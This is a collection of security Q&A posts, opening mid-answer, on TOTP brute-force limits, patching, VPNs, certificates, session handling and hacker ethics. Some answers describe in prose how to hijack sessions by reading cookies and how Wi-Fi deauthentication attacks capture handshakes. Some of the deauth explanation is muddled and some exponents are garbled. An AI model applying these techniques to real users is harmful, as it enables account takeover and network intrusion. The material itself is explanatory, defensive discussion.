Block IP: Might work, but might be bypassed by leveraging a botnet. Should block more than a single IP for IPv6.

Solutions that do not work:

Block current session: Doesn't work, because the attacker knows the password and can just open another session.

How can a brute force protection be implemented so it doesn't lock out the legitimate user, but still blocks attacks as good as possible?

The thing about brute forcing a TOTP token is that you have to guess right at the right time.  So, if you don't want to lock a user out after x failed attempts (which is common practice) you can slow failed attempts down to the point where the odds of getting the TOTP right are statistically insignificant.

For example: 6 digit TOTP token has 1,000,000 possibilities.  But the correct key changes every 30 seconds (in the standard implementation of TOTP) so window of success is not how long it takes to exhaust the entire token space, but how many tokens the attacker can get through in a given period divided by the tokenspace, and its still only a chance at success.  Make it impossible to get through the token space in 30 seconds and you reduce the attack to a gamble.

Example: the attacker gets one guess per second.  They can only get through 30 guesses of any given token so the odds of success are basically random.  Using the Bernoulli process of random variables (chance of failure times number of guesses), 24 hours of attacking this way (86,400 guesses) yields only an 8.2% probability of success. At 10 days, it rises to 57%.  So, simply convince your user to change their password, or find some other way to block the attacker (by IP, etc) before that percentage gets very high.


Is it more secure to apply updates as soon as they get released? Is it more secure to apply updates as soon as they are released, or wait to make sure the updates are not causing problems to the system. It might sound stupid but in the last few years I heard about more than one incident when vendors release updates that suppose to add features (not to fix security issues) which cause security problems or even break the system.

Is there a general rule or a common practice among system administrators/security professionals?

The general rule of thumb is to apply the updates in a test or parallel environment, run tests, then approve for general release.

In some cases, people will apply patches to live environments but on lower priority servers and be willing to suffer outages on the less critical systems.

BUT, because of the criticality of a lot of patches, it is also advised to design a policy of applying all patches to all servers as soon as possible and have a procedure by which you can quickly recover from an issue. You trade patch-based 'availability' issues for security-based issues and you need to determine which trade-off is the best fit for your environment.


Can other people monitor my internet activity in the same WiFi network? I have a tablet that I share the same WiFi with two other people/computers. I have installed the CM Security anti virus app, and also a cleaning app.

I think that my activities are being monitored by the people that I share with, is this possible with the security I have installed on my tablet?

If somebody else has control of the WiFi access point onward or you're using a shared authentication key then there's very little you can do to ensure that you're not subject to an eavesdropping attack. Somebody with the same credentials who catches the initial association packet will be able to read all further session traffic.

If in doubt, you can route everything via VPN to a remote host or always use SSL and check your certificates.


How secure is a serial/terminal/console server, from the serial side? I'm upgrading my home lab, and one of the things I'm planning on introducing this time is out-of-band management through a Raspberry Pi console server similar to this: https://www.packet6.com/configuring-your-raspberry-pi-as-a-console-server/

I've read a lot about the vulnerability of console servers in ICS environments where they can provide a path from internet to real-world devices. What I'm interested in is the other way around. Assuming a box in my management band is connected to an infected host in my DMZ, what if anything can that host do?

Realistically?  They can (possibly) DoS the OOB management link, and possibly the whole OOB management system, and that's probably about it.  However, you have the exact same issue for any console connection to a compromised system.

This assumes you're just using the serial link as a serial console (so no SLIP, PPP, or X.25 over it, all of which would potentially open you up to regular networking vulnerabilities), and that all your hardware is good and doesn't have bugs (if you've got questionable hardware, then you may be talking about destroying hardware if the attacker gets sufficiently low-level access to the infected system).


Remote VPN access and moving to the cloud First of all, my question is related to Web Application security.

Often when I want to suggest customers to move to the cloud for certain applications, I am being told that our customers are reluctant to do so due to security considerations even though it would not be necessary to store data in cloud. By that I mean, data is stored only in their back end systems. These back end systems are hosted on their own servers within their network. The back end systems offer web services which can be SSL encrypted. The back end systems will not be exposed directly to the Internet, the traffic will be routed over additional network components like reverse proxies, firewalls and such. Additionally the data is routed over a third party cloud platform on which the web application is hosted. The cloud platform is provided by the same company (SAP.com) which provides the software for the back end systems. And that scenario is expected to be not secure.

However for these customers we have a remote access to their productive back end systems via customer's VPN (e.g. IPSec VPNs, Citrix).

After reading https://weakdh.org/imperfect-forward-secrecy-ccs15.pdf I came to the conclusion that both VPN "encrypted" data and TLS encrypted data can be decrypted if the encryption is weak and attackers have sufficient budget to break the encryption. My understanding is that these 2 scenarios (VPN via data over several network components TLS-encrypted) basically offer the same security standards if properly done - What is the difference in security between a VPN- and a SSL-connection? helped me in that context. Is my understanding correct or do I miss some aspects?

First, SSL stopped at version 3.0, which is massively flawed.  TLS is currently at 1.2 (plus a lot of activity in the TLS 1.3 working group).  This is generally a matter of acronym - hopefully when you say SSL encrypted, you actually mean TLS, and you specifically mean TLS 1.2 with AEAD ciphers.

Second, for TLS of any type, both protocol version and cipher suite selection is critical.  Please see My answer to Now that it is 2015, what SSL/TLS cipher suites should be used in a high security HTTPS environment?, which in this case boils down to: Use TLS 1.2 ONLY (no downgrade) with DHE or ECDHE, an AEAD (AES-GCM, ChaCha20) cipher and SHA-2.

Third, VPN can offer some protections like OpenVPN's --tls-auth, which is a pre-shared key that prevents clients lacking this key from even trying to connect.  See the Hardening article on OpenVPN.  TLS can try using client certificates for authentication, as well.

Fourth, you're missing several points regarding clients who have security concerns about applications in the cloud:

The "cloud" is nothing more than "servers I don't own"
Therefore, they're allowing servers they don't own access to their back end
You're trying to cover the communication channels, but that implicitly means you trust both the client's servers and the cloud servers owned by someone else.  The clients clearly aren't trusting those cloud servers the same way.
Trusting a software provider is different than trusting a cloud provider.  The software provider isn't able to suck all the data out of the client's systems without further access, nor can it put other data in, and that further access can be carefully managed and of limited scope and duration.
A cloud provider can do whatever the link to the back end allows - and that link is open almost all the time.
Every piece of data sent to that cloud provider is a piece that can leak, either in transit, or after arrival, or days, months, or years later after that cloud provider sells off some old hard drives carelessly, after their cloud service was running on an OS that happened to swap some RAM containing the client's proprietary, financial, and/or health care data to disk due to memory pressure, and then never overwrote those disk sectors.

Wiping data is, of course, more expensive than not wiping it.
And the company getting rid of the disks may not be the current cloud provider - that business may have been sold off, the company may have collapsed like Enron or Leeman Brothers, etc.

And then there's the last case, where one or both sides purchased well known, highly regarded VPN appliances only to find a massive backdoor in them, like the recent Juniper case.  No amount of correct setup can help with that.


Is it easy to hijack browser session if you have access to someone else computer If someone has access to my computer , can they easily get my session id by going to the browsers developer tools and taking a photo of the session id with a phone, if the session id is passed in a cookie. eg. in a java web app , the jsessionid is usually passed as a cookie ( sometimes even in the url ) They can then add that key-value pair to the websites document cookie when they want it. ( assuming the session is not expired yet) Am I missing something, is it so easy.

If yes , why do browsers not employ not kind of security mechanisms so that an attacker with physical access to the computer, is not able to grab session id, or other important cookies through their developer tools. You can't just get someone's password,even with access to the computer. Chrome for example requires you to provide computer's authentication credentials before you can view saved passwords. Why is is similar authentication not required for cookeies given that cookies can many times contain temporary password (eg. a session id )

I am going to answer this to my best of abilities.But feel free to tell me if i miss something or to add anything

  If someone has access to my computer , can they easily get my session
  id by going to the browsers developer tools and taking a photo of the
  session id with a phone, if the session id is passed in a cookie. eg.
  in a java web app , the jsessionid is usually passed as a cookie (
  sometimes even in the url ) They can then add that key-value pair to
  the websites document cookie when they want it. ( assuming the session
  is not expired yet) Am I missing something, is it so easy.

Absolutely they can simply go to console and write document.cookie to get saved cookie from any website and as long as those cookies correspond to a valid session.They can simply send those session identifiers in their browser request and hijack your session.

NOT JUST THAT

If an attacker has physical access they can also run a simple script to decrypt all the saved password on your google chrome browser.

  If yes , why do browsers not employ not kind of security mechanisms so
  that an attacker with physical access to the computer, is not able to
  grab session id, or other important cookies through their developer
  tools. You can't just get someone's password,even with access to the
  computer. Chrome for example requires you to provide computer's
  authentication credentials before you can view saved passwords. Why is
  is similar authentication not required for cookies given that cookies
  can many times contain temporary password (e.g. a session id )

Well for one its not possible.There are more ways to grab the cookies anyway.If you lockup developer tool you can simply intercept the request with a proxy and then grab the cookies from there.It is just not possible to hide it in a way that it even becomes hard for an attacker.

At last the thumb rule is

IF AN ATTACKER HAS PHYSICAL ACCESS TO YOUR SYSTEM,IT IS NOT YOUR SYSTEM ANYMORE.

also here is what google had to say about this

  Chrome security tech lead, has responded to internet chatter on the
  topic, saying that once past the OS login stage, someone can
  theoretically find your passwords and all manner of other browser info
  out anyway, using various underhand means


How to secure data before returning Macbook Air? I am returning my MacBook Air to Apple and want to know the best way to ensure my data is not recoverable from the flash storage. I currently have Filevault 2 enabled, however before I enabled it I had already logged into eBay and a few other sites, and had already downloaded and logged into my password manager (Roboform Everywhere).

Will my passwords and any other data be recoverable if someone buys this machine as a refurb?

Found this answer on Apple.StackExchange.com.  Since you have a 2012 MacBook Air I will assume that you have Lion.  If true and since you say that you are using FileVault 2, this procedure from this answer should work for you:

If your MacBook Air supports Lion Recovery Mode, and your using full disk encryption such as FileValut2 you will not need anything else to do it other than follow the steps below.

Boot your MacBook Air into Recovery Mode by holding down Command+R
while booting it.
Open the Disk Utility Program, select the drive you want to securly
erase.
Select the "Erase" tab
Click "Security Options..."
Drag the slider to the Most Secure setting or some where in between
and then select "OK"
Then click "Erase..." and follow the remaining on screen prompts.

Note: For more information on how secure the Disk Utilities Secure Erase feature is see About Disk Utility's erase free space feature


how to know what hash function have been used I have a hashed password and the plaintext password and i want to know the exact algorithm that's been used. I have the input and the output of the hash/encription algorithm. How would I know what algorithm is used?

There is only one solution: try all known algorithms on your input until you find your output.


why wireshark shows tls1.2 but it's actually tls1.0 Why does Wireshark show tls1.2 but it's actually tls1.0?

and sometimes, in almost the same situation it shows tlsV1

Because of buggy TLS servers, TLS 1.2 clients send the ClientHello with TLS 1.0 at the record layer protocol_version and TLS 1.2 as the client_version (proposed by the client). A TLS 1.2 server sends TLS 1.2 in server_version back and then they continue with TLS 1.2 flow.
See the RFC and blog posts by major implements about version intolerace.
With TLS 1.3, the version mechanism was revised to try a mechanism that is even harder to mess up when implementing, as part of GREASE effort to lessen ossification. With TLS 1.3, the protocol layer version in the ClientHello is TLS 1.0 (legacy_record_version), the client_version is TLS 1.2 (legacy_version) and the real version in the version negotiation extension is TLS 1.3 (supported_versions). This is needed to get the connections past crappy middleboxes.


Default value of ACLs mask This is the question I faced in an interview as a system administrator.

  If we didn't set the mask value, what is the default value of mask?

I was thinking that if we didn't set the mask, it should be the rwx, right?

For example:

> touch testfile
> getfacl testfile
# file: testfile
# owner: chenicha
# group: csgrad
user::rw-
group::r--
other::r--

Even if it didn't state the status of mask, but I assume it should be rwx, right?

If you don't apply any kind of ACL then there will be no need for a mask. According to the this,

The mask entry is automatically created when needed but not provided.

And according to this if you use minimal ACL then no mask will be added.
 [arif@arif blabla]$ ls -ldha .
 drwxrwxr-x. 2 arif arif 4.0K Oct 17 06:13 .
 [arif@arif blabla]$ getfacl --omit-header .
 user::rwx
 group::rwx
 other::r-x

[arif@arif blabla]$ chmod g-wx .
[arif@arif blabla]$ getfacl --omit-header .
user::rwx
group::r--
other::r-x

[arif@arif blabla]$ setfacl -m g::rw .
[arif@arif blabla]$ getfacl --omit-header .
user::rwx
group::rw-
other::r--

According to this,

Extended ACLs also contain a mask entry and may contain any number of named user and named group entries.

So now, we will use extended ACL which results group class permissions mapped to the mask entry because as mentioned here,

In minimal ACLs, the group class permissions are identical to the owning group permissions. In extended ACLs, the group class may contain entries for additional users or groups. This results in a problem: some of these additional entries may contain permissions that are not contained in the owning group entry, so the owning group entry permissions may differ from the group class permissions.
This problem is solved by the virtue of the mask entry. With minimal ACLs, the group class permissions map to the owning group entry permissions. With extended ACLs, the group class permissions map to the mask entry permissions, whereas the owning group entry still defines the owning group permissions.

[arif@arif blabla]$ setfacl -m g:wheel:rw .
[arif@arif blabla]$ getfacl --omit-header .
user::rwx
group::rw-
group:wheel:rw-
mask::rw-
other::r--

Here, you can see that the value of group class permission is mapped to the mask despite of defining any specific mask. And this mapping approach ensures the smooth interaction of applications, regardless of whether they have ACL support. The reason for using group class permission bits as mask is described in the TRUSIX documentation as follows,

The file group class permission bits are the preferred masking field, even though they encourage permissive default access by the owning group. This choice must be made because the use of the file owner class would cause compatibility problems in programs which attempt to establish "owner-only" access, whereas the designation of the file other class could leave objects open to attack were an ACL removed or never present. An additional option of masking user entries with the file owner class permission bits and group entries with the file group class permission bits has the same disadvantages as masking against only the file owner class.

So I believe you could have said that the default value of mask is same as the group class permission value.


Risk to self-signed SSL certificate on OpenVPN server I am building an OpenVPN server in AWS for my organization with a DNS record pointing it to vpn.myOrgnization.com.

SIDE NOTE: We have recently migrated all of our SSL certificates over to the new (and free!) ACM (Amazon Certificate Manager), but I cannot install this on the OpenVPN server because ACM only supports Amazon's elastic load balancers and CloudFront (meaning I cannot install the certs directly on the OpenVPN server).

My question is, what is the risk to having a self-signed certificate on our OpenVPN server? Is the risk simply the possibility of MitM when administering the OpenVPN server? I also assume that when a user navigates to the vpn.myOrganization.com domain, a MitM could impersonate our OpenVPN server to steal VPN credentials. But, once the OpenVPN client is configured with proper authentication, is there any future risk? Can the already-configured VPN connection be MitM'ed each time the client connects? My understanding is no. The OpenVPN protocol does not rely on the self-signed SSL certificate to the server, but I am certainly no expert on the OpenVPN protocol.

Any thoughts or suggestions would be greatly appreciated. We will likely just purchase a wildcard cert for our domain, rather than only relying on the free Amazon Certificate Manager, but I was also generally curious as to what this risk is (even though we will be mitigating it with a cert anyway).

Thanks in advance for the thoughts.

If you are using OpenVPN for your organization it is probably better not to use any public certificates for OpenVPN but create your own CA and only accept certificates issued by this CA. This is actually the way proposed in the OpenVPN Howto. This way you are in full control of the certificates and even if some of the public CA's gets compromised and issues certificates in your name then none of your OpenVPN endpoints will accept these, because only certificates issued by your own CA gets accepted.

Apart from that: Using a self-signed certificate does not impose a risk by itself, not for VPN and not for HTTPS. The risk is only if the certificate is not fully validated. A self-signed certificate can not be validated without additional information like the fingerprint received over a secure channel (like phone or printed) and that's why it is common to just skip the validation completely because it looks too hard. Thus not the use of self-signed is the risk but not properly verifying it is.


Why do we trust organizations that certificate ISO 27001? I've been asked why do we trust organizations that certifies ISO 27001? From where did they get the authority and recognition to be able to certify ISO 27001?

For example, I can start a certification business and certify that a company is ISO 27001 compliant. However, I'm not recognized to do that, so my "signed paper" would be useless. However, if BSi certifies it, it's not useless. Hence, why BSi certification worth but mine don't?

Certification companies like SGS, TÜV Rheinland or BSI are accredited by accreditation entities to issue ISO 27001 certificates. For example, SGS and BSI are accredited by UKAS and TÜV Rheinland is accredited by DAR.

Accreditation entities perform audits of the certification companies they accredit in order to guarantee that they conform to their accreditation requirements that use to include standards like ISO 19011. If they do not conform, their accreditation may be removed.

Who accredits the accreditation companies? Like other have said, at the end there exist the convention to trust accreditation entities and the system they have developed.


Did I get "hacked"? Need help I'm a little apprehensive that there is some unauthorized usage of my router or computer or phone. I have an Asus RT-AC66U, a macbook pro and an iPhone. I'm hoping someone here might be able to help.

I got a phone call from a "no caller id" a couple of weeks ago from some clearly scammers trying to get me to go to fastsupport.com and do something or other, I didn't, but I stayed on the phone with them for 10 minutes leading them on. A week or so later I got an email from Apple saying I needed to change my Apple ID password and security questions so I did, and then I needed to select my device from a list, and there was a device listed called "Neftali Lira's iPhone", definitely not mine but I thought it might have created a randomly generated option to ensure I picked the right device. Another week later I got overage notices from my ISP because I had used about 100gb more than normal this month. Sensing something was afoul I logged into iCloud and realized Neftali Lira's phone was still listed under my devices on find my iphone. I removed the device from my account, reset my phone to factory and restored my computer to a time machine backup from 3 months ago. Changed all my passwords, reset the router, changed its password. The next morning I got a phone call from a "no caller id", no one on the other end, so I hung up. I logged into my router to monitor traffic and noticed that 4.5gb had been downloaded and uploaded when I was not using the internet and the activity stopped the exact minute I got the phone call. Either very coincidental or very suspicious.

I did some research at this point, fastsupport.com is clearly a phishing scam, but I never downloaded anything from their website, only talked to them on the phone, I might have visited the website on my phone out of curiosity, I remember what it looks like but I can't remember from which device I looked at it, can they get into my devices from just a phone call or me visiting the site? My router, RT-AC66U has some old firmware that I was using and from what I've read I think was vulnerable, I was running: 3.0.0.4.374., I've just now updated to 3.0.0.4.380 and changed the passwords again. I don't know anything about this type of security stuff, does any of that seem suspect to anyone? Is it possible they got access to my data? Am I safe now? Thanks in advance for any help.

Was the e-mail really from Apple or was it a phishing scam? Fake 'change your password' e-mails that send you to fake websites rather than to the company's actual website to get you to enter your information aren't rare.

I really doubt the phone calls are related, everybody I know gets periodic fake calls like that. Talking with them lets them know that they have a chance to get information out of you and usually increases the frequency of the calls.

I suspect a neighbor is using your WiFi. It's not very hard to hack WiFi passwords, especially if you're using an older security protocol. I would try turning on a MAC address filter on your router so only your devices can connect to it. MAC addresses can be faked too, but it'd be another hoop for people to jump through to use your WiFi.


Does revealing part of your hash give an attacker advantage when attacking your password? This question was prompted by a recent visit to a certain site that provides (apparently for GDPR reasons) a table with all of your data, including part of your hashed password. I understand this poses no problem in this case (as you would have to be logged in to see this table), but what if this data was made public?

To rephrase more clearly: does revealing part of your password hash (including the hash length) make password cracking (via bruteforce or any other method) any simpler or more efficient than before?

TL;DR: The answer depends on the hash algorithm, what part of the hash is revealed and the strength of the password.

Assuming that the hash algorithm is known the knowledge of a specific part of the hash might make brute force attacks easier: The attacker might now run most brute force tests offline and also in parallel and is thus not restricted by rate limiting or even account locking after failed attempts which is (hopefully) in place to deter massive brute forcing.

How much easier the attack gets depends on the hash and on the strength of the password though. If the hash algorithm is slow (as recommended) then brute forcing will be slow too. If the password is weak enough such offline brute forcing will still likely be successful too. In contrast: if the site implements a wait time after each failed login attempt or maybe even locks the account then online brute force attacks will often fail even for weaker passwords.

How much easier it gets depends also a lot on the type of hash and which parts are revealed. If the attacker does not know the salt which was used in hashing (and which is commonly stored as part of the hash) then brute forcing is nearly impossible - provided that the salt is chosen from a large enough random pool.


Is captcha the only thing preventing endless account creation I wonder whether or not there are mechanisms other than captcha that prevent a mallicious script from creating an indefinite number of accounts for a given service. If so, is this not a huge red flag, especially with image analysis algorithms constantly improving?

Prominent web services use second level confirmation to screen and obfuscated automated spam registration, to increase the cost of automated spam. E.g.:

email with a unique confirmation link
email with a confirmation code that required user to click on a sperate link given.

Another bot check can be initiated by loading a welcome page with javascript that tracks mouse movement(normally bot script will not emulate mouse movement). However, this is a gray area because such script can be abused to use to fingerprint the user.


What info to log/store about a user login? Currently I am saving LastLoginAt, LastActionAt, LastLogoutAt, and LastLoginFromIPAddress. I am not so sure about the value of logging/saving details of logouts and IP addresses, as I am not sure of what use they would actually be. What is the "best" practice here when it comes to saving info about user logins?

You didn't provide any specifics about your app, but you generally should log much more than you're currently storing. See this logging Cheat Sheet for more details.

Generally: if you only store info about "last" actions, you have very little to work with if you need to use any of that data at a later date.

Even for a "simple" web app I've found it extremely useful to store a full log of login/logout actions, with associated IP addresses and even the User-Agent string (if it's a web app).
You should probably also log invalid login attempts (user_id, time, ip_address) to do some sort of rate limiting and/or password brute-forcing detection.

Simple example: if a user contacts you about his account being "hacked" (password was stolen or guessed), you need to have a full log of logins to do any meaningful analysis.


How does deauthing work in aireplay-ng? I have a question of how aireplay-ng works when it deauths. I mean, it is really easy to disconnect another client from an AP: you just need to run the deauth command (in aireplay-ng) once, specifying to send deauths 100 times or so.

So how does deauthing actually work?

802.11 deauthentication attacks can occur due to the way 802.11 frames are structured. The 802.11 spec controls not only the flow of packets between the client and the access point, but also carries other information such as frame type, power management, protocol version, and encryption schema used.wifi-planet .com understanding 802.11.

Deauth attacks by exploiting the 802.11 frame control for if a client is associated securely to the AP. The attacker send a series of "deauth" packets spoofing to be the unauthenticated client to the AP and checks to make sure the AP acknowledges that it received the packet. The attacker also send a series of packets to the client pretending to be the AP saying "hey you need to reauthenticate!". Then the client and the AP say "hey, We need to authenticate! you told me you're no longer authenticated! (this is due to the attacker's packets). Then the two reauthenticate, allowing the attacker to capture the complete handshake. Aireplay Documentation


Does CCleaner permanently delete temp files? Can temp files/ history be recovered after being deleted by CCleaner.

I used the standard click and delete, I didn’t overwrite the files.

If after sometime, will the files overwrite themselves or be unrecoverable on there own?

It depends how you delete the files with ccleaner. There is a option for simple file deletion and overwriting (you can chose to overwrite multiple times also) the deleted files. Normally deleted files can be recovered till they are overwritten naturally by the operating system as part of using the freed disk space for saving other files data but overwritten files cant be recovered. as per my knowledge i hvnt come accross any tool that can recover overwritten files. Anyone having recovery experience of such files can add few more details to the answer.


How long should a session absolute timeout be? OWASP Session Management Cheat Sheet (https://www.owasp.org/index.php/Session_Management_Cheat_Sheet) recommends to implement an absolute session timeout (in addition to idle session timeout). It means that the application forces user to re-authenticate regardless of session activity.

Is there any recommendations for the duration of that timeout to be secure enough and not annoy end users? Would it be enough to set an absolute session timeout to 24 hours? more?

The application I'm working on will be placed within internal corporate network and is used by users to perform their every day job responisbilites so frequest re-authentication request can be a usability issue.

There is no strict answer to the time length.  The limits of idle timeouts depend on regulations and possibly jurisdictional laws.

Session-based access to cardholder data in PCI DSS 3.1 is required to be "reasonable".  PCI DSS 3.1 in item 8.1.8 provides specific guidance on this

  8.1.8 If a session has been idle for more than 15 minutes, require the user to re-authenticate to re-activate the terminal or session.

SOURCE: https://www.pcisecuritystandards.org/documents/PCI_DSS_v3-1.pdf

Similar suggestions exist for other compliance programs.  Making it configurable and flexible according to data sensitivity context is likely your best bet.

Absolute timeouts aren't mandated under any framework I know of, but they do seem interesting.  The user experience impact is potentially significant, but the benefit of limiting the duration of a session hijacking is also significant.  It seems like a better solution - if you control the application code - would be session rotation (ie: a Renewal Timeout in OWASP parlance) whereby the application generates a fresh session ID periodically.

I recommend pursuing a Renewal Timeout if the application permits it and using a renewal timeout no greater than 1 hour.  This substantially reduces the hijacking risk and should be practical with any application that has a straight-forward (small and manually copyable) or serializable session state.

If Absolute Timeout is your only option I would make the timeout 24 hours.  It's a sensible limit and limits surprise.  A multi-day absolute timeout would likely confuse users as they'd see the re-prompt as arbitrary or potentially indicative of application failure.


VPN on top of Certificate? Our school recently needed us to install a certificate on our own computers in order to connect to the internet. If I use a VPN on top of that, will they be able see what I'm doing?

If you're using a TLS tunnel vpn (with simple web auth) Yes.  They will be able to see it, as I'm assuming they're breaking your TLS connections and inspecting the traffic.  I realize this is intrusive, but this is a fairly typical bargain: schools (and big companies) do give you internet access and do this in order to protect themselves from prosecution, and loss of data.

I would suggest you use a different network if you want your communication to be private from your school (and if you have the certificate authority on your phone or personal device, remove it if you want privacy of any sort even off their network.)

If you were able to use something that has it's own transport layer that wasn't tls (eg. IPSEC) you could then connect and the vpn traffic would be encrypted and unable to be read (though that there was traffic, how much - when etc would still be there, just not to where, or what was in the tunnel.)


Store private key on server, then use k1 to log in, k2 to verify HMAC and k3 to decrypt private key I'm working on a proof-of-concept program to encrypt email with less difficulty for end-users with a process like:

To create an account:

Generate a random salt and IV, and get a password from the user.
Generate a 384-bit key with PBDKF2-HMAC-SHA512 (or maybe scrypt?).
Split that into three 128-bit keys (k1, k2, k3).
Generate an RSA key pair (for GPG).
Encrypt the private key with k3.
Generate an HMAC of the encrypted private key, using k2.
Send the salt, IV, k1, number of iterations, public key, HMAC and encrypted private key to the server.

To log in:

Request our salt and number of iterations from the server (maybe do something here to prevent leaking of email addresses).
Regenerate k1, k2, k3 with PBKDF2.
Send k1 to the server, which checks it against its stored version. This is used to prevent making the encrypted key public. Theoretically, this shouldn't matter, but it seems better to protect the encrypted data just in case.
If k1 matches, the server sends back an AES-128 encrypted private key and IV, with an HMAC-SHA-1 MAC.
Use k2 to verify the HMAC.
Use k3 to decrypt the private key.

For future logins, we can simplify things since the server has the public key and we have the private key.

The idea is that even if the server is compromised, the only information it has is k1, the salt, the IV, and the encrypted private key, but to mess with the key, it needs k2, and to decrypt the key it needs k3.

Since the client only needs to decrypt the key once (and can then store it in their operating system's keyring), the number of iterations could be really high.

Am I correct in assuming that this would protect clients against a compromised server? I think the only attack vectors left would be hacking the client, brute forcing the password (which should be incredibly difficult, since we can use a lot of iterations of PBKDF2), and rubber-hose cryptanalysis.

EDIT: More specifically, this is meant to protect a user's password, private key and encrypted emails from an attacker, even if that attacker is working with the owner of the server. Unencrypted emails are basically impossible to protect, since an attacker in control of the server could just save them all off as they come in. Social engineering and rubber hose cryptanalysis are relevant, but my goal was mainly to reduce the possible attacks to ones that can't be kept secret.

There's a couple of problems:

1 - In the log in sequence - step #4 - you are sending k1 for verification at the server.  The server does not have a copy of k1.  According to the account creation thread, step 3 (generate k1, k2, k3) occurred presumably client side, and were not part of the server transmission (step 7)

2 - If you store k1, then it's effectively a password - repetition of the k1 value is all that is required to get to login step 4.

3 - The thing that is standing between the attacker and the ability to imitate the user is the AES 128 bit encryption of the private key.  It's stored on the server, and so if the server is cracked the encrypted key is obtainable. If you also offer k1, you might offer the ability to get added data. There's basically two possible calculations that the attacker can compute at until he finds a winning combo:

AES decrypt( test-k3, encrypted private key) = creates a key that can decrypt any encrypted email.
key gen with PBDKF2-HMAC-SHA512 (salt, # interations, test-password) = k1 (known), k2 (unknown), k3 (unknown)

Now we're into the realm where the question is "how easy are those things?" and I really don't know.  That's a good question for crypto.SE - we're into the world of cryptography difficulty, which isn't my strong suit.

4 - don't negate the value of watching transmissions and colocation of servers.  If the attacher has hacked the account/login server, what else is located on that server?  If it's also serving email, or post-authentication privileged user transations - your problem isn't the steps above, it's the other high-value assets.  Also - watching when a user logs in, and their general pattern of behavior, trials and errors will give enough social engineering information that the annoyingly mathematical part of cryptographic hacking is irrelevant.  If I can break the server, call the user and apologize, and get him to tell me his password over the phone, the work of hacking the crypto is obsolete.


Should I let the client send both the session and the user ID? I am working on a project where users have accounts and log in using their username and password if they are correct the code returns a session id. Next time they open the app or visit the site it gets the stored session and sends it to the database and returns the user's data.

My problems are what if someone finds a way to enter fake session id's and then visit my site and if they keep trying they are bound to get a valid session.

In the app's user data and webpage cookies besides storing the session token should I also store something such as their user ID? Then when they visit the site I get both the session and user ID to check if they match making it way harder for someone to just type random sessions since they have to find a session and correct user id (which is 120 characters long).

You are right that you need to make sure that your session ID's can not be brute forced. The trick is to make the session ID long and random (and when I say random, I mean securely random). If the session ID comes together with a user ID it would be harder to brute force, since the attacker would need to guess ID's for one user at a time. That means the session ID could be somewhat shorter. But since it doesn't cost you anything to have a long session ID, there is no need to try to shorten it.

If you use 64 bit session ID's and have a billion users, an attacker would have to make on average 264/109 * 1/2 ≈ 1010 guesses before she gets one right. Without causing any performance problems you could double it and use 128 bit session ID's, and you will have a ridiculous margin.

So, there is no harm in sending the user ID together with the session ID. But if you use long enough session ID's, there isn't really a need. If you do opt for the user ID solution, remember this:

Obviously, you need to actually check the user ID server side, and not blindly trust the client.
Assume the hacker knows all user ID's. That means that the session ID still needs to be long and random.


Hacker's code of ethics, does it exist? We often hear the term black-hat or white-hat hacking, but it seems like these days with many companies implementing tougher policies on information security and many companies focusing on penetration testing as a service, I am wondering if there is a code of ethics that is either documented or an unspoken rule among the people engaged in these types of activities.

I have heard that you can be a certified ethical hacker, but I wonder where this certification comes from and who can accredit someone for being an ethical hacker?

This is a bit of a load question with a few different parts, but I think it is answerable overall.

Is there a Hacker Ethos

Yes and no. The main problem is the wide diversity of hacker groups that differ by targets and thus ethical code. Just to name a few: white hats usually follow the "do no harm"-type of ethics and try to close security-leaks. Regarding red- and black-hats things become quite a lot more complex, a short summary will show that: Of course (what a surprise) there's the "there's money in it? I'm in."-type of hacker, which doesn't care about ethics. On the other hand, there are as well politically active groups - e.g. Anonymous declared war on IS (opinion on results differs) - that of course follow a kind of ethical code. Or the classical cracker that's trying to break copy protection and follows the communistic principle of "everything should be available to everyone". Some groups add loyalty to the group to their ethical code. In short: some follow a ethical code, some don't. The diversity of ethical codes is gigantic, so expanding further on this topic doesn't make much sense.

Disclosure

When disclosing a discovered vulnerability to a company, there are three main disclosure policies that the community has.

Full disclosure: Release the details of the vulnerability along with a PoC. Some prefer this method because companies are not always friendly to being told they have data-exposing security holes and throw lawyers at people rather than fixing the vulnerability. Some companies pretend the problem isn't there or fix the problem without properly crediting the person who did the work.
Responsible disclosure: Work with the company to identify the root cause, own validation of the fix, and then release the information after a patch has been written. Rain Forest Puppy is one of the original people who released an accepted policy on when to consider responsible disclosure a lost cause and release the details. It's a hard balance to strike.
Fully silent: This means having NDAs and lawyers, and sometimes court orders, gag the person from saying anything at all.

The balance is hard. If I find a security vulnerability, I want the company to fix it. But there are companies who are on a personal blacklist, that I have dealt with before and are extremely disrespectful to researchers. Those companies will get a full disclosure. What about the ethos? Researchers are balancing getting a fix out before the criminals exploit it, and letting it go unfixed and the criminals finding it and exploiting it. It's a judgement call, and one that isn't easy.

Selling vulnerabilities and exploits

There is a lot of discussion in the community and outside of the community on the ethics of selling exploits. My intention is not to start a war, but to provide as independent viewpoint as I can provide without letting my personal opinions influence anybody.

When we talk about ethics, there are two main viewpoints:

Sell, and get money for your hard work: If I spend hours and hours and hours of work finding a vulnerability, I want to get paid for my hard work. It's something the vendor should fix, and an independent can broker that communication for me, influencing the responsible disclosure without me having to worry with lawyers.
Don't sell, because I don't know who may get the exploit. Increasingly, nation states are attacking each other, influencing trade, nation secrets, and more. I don't want my exploit falling in to the hands of a nation state.

Okay, really, is there an ethos?

Personally, I think no. There's the Hacker Manifesto which you can find on the internet and read. It's a good read. But at the end of the day, my security skills and how I use them are a reflection of who I am and not the other way around. I don't put people at risk intentionally. There are unspoken rules, and I've mentioned some of them above with the disclosure policies. The biggest one in the community, and you will get called out for it because the community is awesome like that, is don't be a jerk. If you are a jerk, you'll get tossed out. We don't like people who are jerks. If that's your takeaway, then I've communicated what I wanted to.

Certified hackers?

Who can do that? Well, in the community, there are several recognized bodies that teach and provide certificates for various subjects in the community. Up to now, I've been speaking about offensive security as that's my background. But there's also incident response, for example. Here's some recognized bodies in the industry:

https://www.sans.org/ - GXPEN, GPEN, and other certs.
https://www.eccouncil.org/ -  C|EH, CNDA, and other certs.
https://www.offensive-security.com/ - OSCP*, OSCE, OSEE, and other certs.

*I have the OSCP.

These are recognized bodies for a few reasons, but one thing they all have in common is if you do anything contrary to the ethics they set forth, they'll strip your certification.

Who says they can do this?

Nobody, really. I can create a company, offer a certificate and training, and that's it. But pretty soon the industry will know if you are a paper mill, or actually offering substance. The three I mentioned above are recognized because they offer substance, albeit in different areas and in different skill levels.

Recommended Reading

